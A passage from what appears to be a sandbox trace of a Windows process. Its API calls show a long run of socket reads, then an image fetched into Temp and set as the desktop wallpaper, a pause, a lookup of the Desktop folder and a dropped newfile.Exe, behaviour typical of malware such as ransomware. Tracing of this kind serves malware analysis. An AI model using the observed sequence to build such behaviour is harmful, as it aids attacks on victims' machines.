| out: buf=0x295ead8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295ebd8, len=256, flags=0 | out: buf=0x295ebd8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295ecd8, len=256, flags=0 | out: buf=0x295ecd8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295edd8, len=256, flags=0 | out: buf=0x295edd8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295eed8, len=256, flags=0 | out: buf=0x295eed8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295efd8, len=256, flags=0 | out: buf=0x295efd8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295f0d8, len=256, flags=0 | out: buf=0x295f0d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295f1d8, len=256, flags=0 | out: buf=0x295f1d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295f2d8, len=256, flags=0 | out: buf=0x295f2d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295f3d8, len=256, flags=0 | out: buf=0x295f3d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295f4d8, len=256, flags=0 | out: buf=0x295f4d8*) returned 256 [0238.396] recv (in: s=0x4c4, buf=0x295f5d8, len=256, flags=0 | out: buf=0x295f5d8*) returned 160 [0238.396] recv (in: s=0x4c4, buf=0x295f678, len=256, flags=0 | out: buf=0x295f678*) returned 256 [0238.520] recv (in: s=0x4c4, buf=0x295f778, len=256, flags=0 | out: buf=0x295f778*) returned 256 [0238.520] recv (in: s=0x4c4, buf=0x295f878, len=256, flags=0 | out: buf=0x295f878*) returned 256 [0238.520] recv (in: s=0x4c4, buf=0x295f978, len=256, flags=0 | out: buf=0x295f978*) returned 256 [0238.520] recv (in: s=0x4c4, buf=0x295fa78, len=256, flags=0 | out: buf=0x295fa78*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x295fb78, len=256, flags=0 | out: buf=0x295fb78*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x295fc78, len=256, flags=0 | out: buf=0x295fc78*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x295fd78, len=256, flags=0 | out: buf=0x295fd78*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2963e90, len=256, flags=0 | out: buf=0x2963e90*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2963f90, len=256, flags=0 | out: buf=0x2963f90*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2964090, len=256, flags=0 | out: buf=0x2964090*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2964190, len=256, flags=0 | out: buf=0x2964190*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2964290, len=256, flags=0 | out: buf=0x2964290*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2964390, len=256, flags=0 | out: buf=0x2964390*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2964490, len=256, flags=0 | out: buf=0x2964490*) returned 256 [0238.521] recv (in: s=0x4c4, buf=0x2964590, len=256, flags=0 | out: buf=0x2964590*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964690, len=256, flags=0 | out: buf=0x2964690*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964790, len=256, flags=0 | out: buf=0x2964790*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964890, len=256, flags=0 | out: buf=0x2964890*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964990, len=256, flags=0 | out: buf=0x2964990*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964a90, len=256, flags=0 | out: buf=0x2964a90*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964b90, len=256, flags=0 | out: buf=0x2964b90*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964c90, len=256, flags=0 | out: buf=0x2964c90*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964d90, len=256, flags=0 | out: buf=0x2964d90*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964e90, len=256, flags=0 | out: buf=0x2964e90*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2964f90, len=256, flags=0 | out: buf=0x2964f90*) returned 256 [0238.522] recv (in: s=0x4c4, buf=0x2965090, len=256, flags=0 | out: buf=0x2965090*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965190, len=256, flags=0 | out: buf=0x2965190*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965290, len=256, flags=0 | out: buf=0x2965290*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965390, len=256, flags=0 | out: buf=0x2965390*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965490, len=256, flags=0 | out: buf=0x2965490*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965590, len=256, flags=0 | out: buf=0x2965590*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965690, len=256, flags=0 | out: buf=0x2965690*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965790, len=256, flags=0 | out: buf=0x2965790*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965890, len=256, flags=0 | out: buf=0x2965890*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965990, len=256, flags=0 | out: buf=0x2965990*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965a90, len=256, flags=0 | out: buf=0x2965a90*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965b90, len=256, flags=0 | out: buf=0x2965b90*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965c90, len=256, flags=0 | out: buf=0x2965c90*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965d90, len=256, flags=0 | out: buf=0x2965d90*) returned 256 [0238.523] recv (in: s=0x4c4, buf=0x2965e90, len=256, flags=0 | out: buf=0x2965e90*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2965f90, len=256, flags=0 | out: buf=0x2965f90*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966090, len=256, flags=0 | out: buf=0x2966090*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966190, len=256, flags=0 | out: buf=0x2966190*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966290, len=256, flags=0 | out: buf=0x2966290*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966390, len=256, flags=0 | out: buf=0x2966390*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966490, len=256, flags=0 | out: buf=0x2966490*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966590, len=256, flags=0 | out: buf=0x2966590*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966690, len=256, flags=0 | out: buf=0x2966690*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966790, len=256, flags=0 | out: buf=0x2966790*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966890, len=256, flags=0 | out: buf=0x2966890*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966990, len=256, flags=0 | out: buf=0x2966990*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966a90, len=256, flags=0 | out: buf=0x2966a90*) returned 256 [0238.524] recv (in: s=0x4c4, buf=0x2966b90, len=256, flags=0 | out: buf=0x2966b90*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2966c90, len=256, flags=0 | out: buf=0x2966c90*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2966d90, len=256, flags=0 | out: buf=0x2966d90*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2966e90, len=256, flags=0 | out: buf=0x2966e90*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2966f90, len=256, flags=0 | out: buf=0x2966f90*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967090, len=256, flags=0 | out: buf=0x2967090*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967190, len=256, flags=0 | out: buf=0x2967190*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967290, len=256, flags=0 | out: buf=0x2967290*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967390, len=256, flags=0 | out: buf=0x2967390*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967490, len=256, flags=0 | out: buf=0x2967490*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967590, len=256, flags=0 | out: buf=0x2967590*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967690, len=256, flags=0 | out: buf=0x2967690*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967790, len=256, flags=0 | out: buf=0x2967790*) returned 256 [0238.525] recv (in: s=0x4c4, buf=0x2967890, len=256, flags=0 | out: buf=0x2967890*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x2967990, len=256, flags=0 | out: buf=0x2967990*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x2967a90, len=256, flags=0 | out: buf=0x2967a90*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x2967b90, len=256, flags=0 | out: buf=0x2967b90*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x2967c90, len=256, flags=0 | out: buf=0x2967c90*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x2967d90, len=256, flags=0 | out: buf=0x2967d90*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x296fea8, len=256, flags=0 | out: buf=0x296fea8*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x296ffa8, len=256, flags=0 | out: buf=0x296ffa8*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x29700a8, len=256, flags=0 | out: buf=0x29700a8*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x29701a8, len=256, flags=0 | out: buf=0x29701a8*) returned 256 [0238.526] recv (in: s=0x4c4, buf=0x29702a8, len=256, flags=0 | out: buf=0x29702a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29703a8, len=256, flags=0 | out: buf=0x29703a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29704a8, len=256, flags=0 | out: buf=0x29704a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29705a8, len=256, flags=0 | out: buf=0x29705a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29706a8, len=256, flags=0 | out: buf=0x29706a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29707a8, len=256, flags=0 | out: buf=0x29707a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29708a8, len=256, flags=0 | out: buf=0x29708a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x29709a8, len=256, flags=0 | out: buf=0x29709a8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x2970aa8, len=256, flags=0 | out: buf=0x2970aa8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x2970ba8, len=256, flags=0 | out: buf=0x2970ba8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x2970ca8, len=256, flags=0 | out: buf=0x2970ca8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x2970da8, len=256, flags=0 | out: buf=0x2970da8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x2970ea8, len=256, flags=0 | out: buf=0x2970ea8*) returned 256 [0238.527] recv (in: s=0x4c4, buf=0x2970fa8, len=256, flags=0 | out: buf=0x2970fa8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29710a8, len=256, flags=0 | out: buf=0x29710a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29711a8, len=256, flags=0 | out: buf=0x29711a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29712a8, len=256, flags=0 | out: buf=0x29712a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29713a8, len=256, flags=0 | out: buf=0x29713a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29714a8, len=256, flags=0 | out: buf=0x29714a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29715a8, len=256, flags=0 | out: buf=0x29715a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29716a8, len=256, flags=0 | out: buf=0x29716a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29717a8, len=256, flags=0 | out: buf=0x29717a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29718a8, len=256, flags=0 | out: buf=0x29718a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x29719a8, len=256, flags=0 | out: buf=0x29719a8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x2971aa8, len=256, flags=0 | out: buf=0x2971aa8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x2971ba8, len=256, flags=0 | out: buf=0x2971ba8*) returned 256 [0238.528] recv (in: s=0x4c4, buf=0x2971ca8, len=256, flags=0 | out: buf=0x2971ca8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x2971da8, len=256, flags=0 | out: buf=0x2971da8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x2971ea8, len=256, flags=0 | out: buf=0x2971ea8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x2971fa8, len=256, flags=0 | out: buf=0x2971fa8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29720a8, len=256, flags=0 | out: buf=0x29720a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29721a8, len=256, flags=0 | out: buf=0x29721a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29722a8, len=256, flags=0 | out: buf=0x29722a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29723a8, len=256, flags=0 | out: buf=0x29723a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29724a8, len=256, flags=0 | out: buf=0x29724a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29725a8, len=256, flags=0 | out: buf=0x29725a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29726a8, len=256, flags=0 | out: buf=0x29726a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29727a8, len=256, flags=0 | out: buf=0x29727a8*) returned 256 [0238.529] recv (in: s=0x4c4, buf=0x29728a8, len=256, flags=0 | out: buf=0x29728a8*) returned 16 [0238.529] recv (in: s=0x4c4, buf=0x29728b8, len=256, flags=0 | out: buf=0x29728b8*) returned 256 [0238.693] recv (in: s=0x4c4, buf=0x29729b8, len=256, flags=0 | out: buf=0x29729b8*) returned 256 [0238.693] recv (in: s=0x4c4, buf=0x2972ab8, len=256, flags=0 | out: buf=0x2972ab8*) returned 256 [0238.693] recv (in: s=0x4c4, buf=0x2972bb8, len=256, flags=0 | out: buf=0x2972bb8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x2972cb8, len=256, flags=0 | out: buf=0x2972cb8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x2972db8, len=256, flags=0 | out: buf=0x2972db8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x2972eb8, len=256, flags=0 | out: buf=0x2972eb8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x2972fb8, len=256, flags=0 | out: buf=0x2972fb8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29730b8, len=256, flags=0 | out: buf=0x29730b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29731b8, len=256, flags=0 | out: buf=0x29731b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29732b8, len=256, flags=0 | out: buf=0x29732b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29733b8, len=256, flags=0 | out: buf=0x29733b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29734b8, len=256, flags=0 | out: buf=0x29734b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29735b8, len=256, flags=0 | out: buf=0x29735b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29736b8, len=256, flags=0 | out: buf=0x29736b8*) returned 256 [0238.694] recv (in: s=0x4c4, buf=0x29737b8, len=256, flags=0 | out: buf=0x29737b8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x29738b8, len=256, flags=0 | out: buf=0x29738b8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x29739b8, len=256, flags=0 | out: buf=0x29739b8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x2973ab8, len=256, flags=0 | out: buf=0x2973ab8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x2973bb8, len=256, flags=0 | out: buf=0x2973bb8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x2973cb8, len=256, flags=0 | out: buf=0x2973cb8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x2973db8, len=256, flags=0 | out: buf=0x2973db8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x2973eb8, len=256, flags=0 | out: buf=0x2973eb8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x2973fb8, len=256, flags=0 | out: buf=0x2973fb8*) returned 256 [0238.695] recv (in: s=0x4c4, buf=0x29740b8, len=256, flags=0 | out: buf=0x29740b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29741b8, len=256, flags=0 | out: buf=0x29741b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29742b8, len=256, flags=0 | out: buf=0x29742b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29743b8, len=256, flags=0 | out: buf=0x29743b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29744b8, len=256, flags=0 | out: buf=0x29744b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29745b8, len=256, flags=0 | out: buf=0x29745b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29746b8, len=256, flags=0 | out: buf=0x29746b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29747b8, len=256, flags=0 | out: buf=0x29747b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29748b8, len=256, flags=0 | out: buf=0x29748b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x29749b8, len=256, flags=0 | out: buf=0x29749b8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x2974ab8, len=256, flags=0 | out: buf=0x2974ab8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x2974bb8, len=256, flags=0 | out: buf=0x2974bb8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x2974cb8, len=256, flags=0 | out: buf=0x2974cb8*) returned 256 [0238.696] recv (in: s=0x4c4, buf=0x2974db8, len=256, flags=0 | out: buf=0x2974db8*) returned 256 [0238.697] recv (in: s=0x4c4, buf=0x2974eb8, len=256, flags=0 | out: buf=0x2974eb8*) returned 256 [0238.697] recv (in: s=0x4c4, buf=0x2974fb8, len=256, flags=0 | out: buf=0x2974fb8*) returned 256 [0238.697] recv (in: s=0x4c4, buf=0x29750b8, len=256, flags=0 | out: buf=0x29750b8*) returned 256 [0238.697] recv (in: s=0x4c4, buf=0x29751b8, len=256, flags=0 | out: buf=0x29751b8*) returned 256 [0238.697] recv (in: s=0x4c4, buf=0x29752b8, len=256, flags=0 | out: buf=0x29752b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29753b8, len=256, flags=0 | out: buf=0x29753b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29754b8, len=256, flags=0 | out: buf=0x29754b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29755b8, len=256, flags=0 | out: buf=0x29755b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29756b8, len=256, flags=0 | out: buf=0x29756b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29757b8, len=256, flags=0 | out: buf=0x29757b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29758b8, len=256, flags=0 | out: buf=0x29758b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x29759b8, len=256, flags=0 | out: buf=0x29759b8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x2975ab8, len=256, flags=0 | out: buf=0x2975ab8*) returned 256 [0238.698] recv (in: s=0x4c4, buf=0x2975bb8, len=256, flags=0 | out: buf=0x2975bb8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x2975cb8, len=256, flags=0 | out: buf=0x2975cb8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x2975db8, len=256, flags=0 | out: buf=0x2975db8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x2975eb8, len=256, flags=0 | out: buf=0x2975eb8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x2975fb8, len=256, flags=0 | out: buf=0x2975fb8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29760b8, len=256, flags=0 | out: buf=0x29760b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29761b8, len=256, flags=0 | out: buf=0x29761b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29762b8, len=256, flags=0 | out: buf=0x29762b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29763b8, len=256, flags=0 | out: buf=0x29763b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29764b8, len=256, flags=0 | out: buf=0x29764b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29765b8, len=256, flags=0 | out: buf=0x29765b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29766b8, len=256, flags=0 | out: buf=0x29766b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29767b8, len=256, flags=0 | out: buf=0x29767b8*) returned 256 [0238.699] recv (in: s=0x4c4, buf=0x29768b8, len=256, flags=0 | out: buf=0x29768b8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x29769b8, len=256, flags=0 | out: buf=0x29769b8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x2976ab8, len=256, flags=0 | out: buf=0x2976ab8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x2976bb8, len=256, flags=0 | out: buf=0x2976bb8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x2976cb8, len=256, flags=0 | out: buf=0x2976cb8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x2976db8, len=256, flags=0 | out: buf=0x2976db8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x2976eb8, len=256, flags=0 | out: buf=0x2976eb8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x2976fb8, len=256, flags=0 | out: buf=0x2976fb8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x29770b8, len=256, flags=0 | out: buf=0x29770b8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x29771b8, len=256, flags=0 | out: buf=0x29771b8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x29772b8, len=256, flags=0 | out: buf=0x29772b8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x29773b8, len=256, flags=0 | out: buf=0x29773b8*) returned 256 [0238.700] recv (in: s=0x4c4, buf=0x29774b8, len=256, flags=0 | out: buf=0x29774b8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x29775b8, len=256, flags=0 | out: buf=0x29775b8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x29776b8, len=256, flags=0 | out: buf=0x29776b8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x29777b8, len=256, flags=0 | out: buf=0x29777b8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x29778b8, len=256, flags=0 | out: buf=0x29778b8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x29779b8, len=256, flags=0 | out: buf=0x29779b8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x2977ab8, len=256, flags=0 | out: buf=0x2977ab8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x2977bb8, len=256, flags=0 | out: buf=0x2977bb8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x2977cb8, len=256, flags=0 | out: buf=0x2977cb8*) returned 256 [0238.701] recv (in: s=0x4c4, buf=0x2977db8, len=256, flags=0 | out: buf=0x2977db8*) returned 256 [0238.703] recv (in: s=0x4c4, buf=0x122220f8, len=256, flags=0 | out: buf=0x122220f8*) returned 256 [0239.235] GdiplusStartup (in: token=0x7fe84a604e8, input=0x1ec9f8, output=0x1ecaa8 | out: token=0x7fe84a604e8, output=0x1ecaa8) returned 0x0 [0239.252] GdipLoadImageFromStream (stream=0x770020, image=0x1ee230) returned 0x0 [0239.287] GdipImageForceValidation (image=0x1ad941a0) [0239.589] GdipGetImageType (image=0x1ad941a0, type=0x1ee1b0) returned 0x0 [0239.592] GdipGetImageRawFormat (image=0x1ad941a0, format=0x1ee120*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0239.594] CoTaskMemAlloc (cb=0x20c) returned 0x1a602730 [0239.594] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a602730 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0239.594] CoTaskMemFree (pv=0x1a602730) [0239.594] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1edcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0240.216] GdipGetImageEncodersSize (numEncoders=0x1ee1b0, size=0x1ee1a8) returned 0x0 [0240.217] GdipGetImageEncoders (in: numEncoders=0x5, size=0x4f0, encoders=0x1a642dd0 | out: encoders=0x1a642dd0) returned 0x0 [0240.514] LocalFree (hMem=0x1a642dd0) returned 0x0 [0240.636] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallpaper.bmp", nBufferLength=0x105, lpBuffer=0x1edb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallpaper.bmp", lpFilePart=0x0) returned 0x32 [0240.637] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallpaper.bmp", nBufferLength=0x105, lpBuffer=0x1eda80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallpaper.bmp", lpFilePart=0x0) returned 0x32 [0240.637] GdipSaveImageToFile (image=0x1ad941a0, filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallpaper.bmp", clsidEncoder=0x1ee240*(Data1=0x557cf400, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) [0241.850] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\wallpaper.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\wallpaper.bmp"), fWinIni=0x3 | out: pvParam=0x29d854c) returned 1 [0244.108] SleepEx (dwMilliseconds=0x1388, bAlertable=1) returned 0x0 [0249.108] CoTaskMemAlloc (cb=0x20c) returned 0x1a59c660 [0249.108] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a59c660 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0249.108] CoTaskMemFree (pv=0x1a59c660) [0249.108] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1edb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0249.110] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x1c5d89b0 [0249.110] LocalAlloc (uFlags=0x0, uBytes=0x6e) returned 0x1c5d8070 [0249.737] LocalFree (hMem=0x1c5d89b0) returned 0x0 [0249.738] LocalFree (hMem=0x1c5d8070) returned 0x0 [0249.766] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", nBufferLength=0x105, lpBuffer=0x1edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", lpFilePart=0x0) returned 0x30 [0249.766] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1c5d89b0 [0249.766] LocalAlloc (uFlags=0x0, uBytes=0xaa) returned 0x1a5d6b60 [0250.128] LocalFree (hMem=0x1c5d89b0) returned 0x0 [0250.128] LocalFree (hMem=0x1a5d6b60) returned 0x0 [0250.213] CoGetContextToken (in: pToken=0x1ee030 | out: pToken=0x1ee030) returned 0x0 [0250.213] CObjectContext::QueryInterface () returned 0x0 [0250.213] CObjectContext::GetCurrentThreadType () returned 0x0 [0250.213] Release () returned 0x0 [0250.215] CoGetContextToken (in: pToken=0x1edb40 | out: pToken=0x1edb40) returned 0x0 [0250.215] CObjectContext::QueryInterface () returned 0x0 [0250.215] CObjectContext::GetCurrentThreadType () returned 0x0 [0250.215] Release () returned 0x0 [0250.218] CoGetContextToken (in: pToken=0x1edb40 | out: pToken=0x1edb40) returned 0x0 [0250.218] CObjectContext::QueryInterface () returned 0x0 [0250.218] CObjectContext::GetCurrentThreadType () returned 0x0 [0250.218] Release () returned 0x0 [0250.232] CoGetContextToken (in: pToken=0x1edb40 | out: pToken=0x1edb40) returned 0x0 [0250.232] CObjectContext::QueryInterface () returned 0x0 [0250.232] CObjectContext::GetCurrentThreadType () returned 0x0 [0250.232] Release () returned 0x0 [0250.254] CoGetContextToken (in: 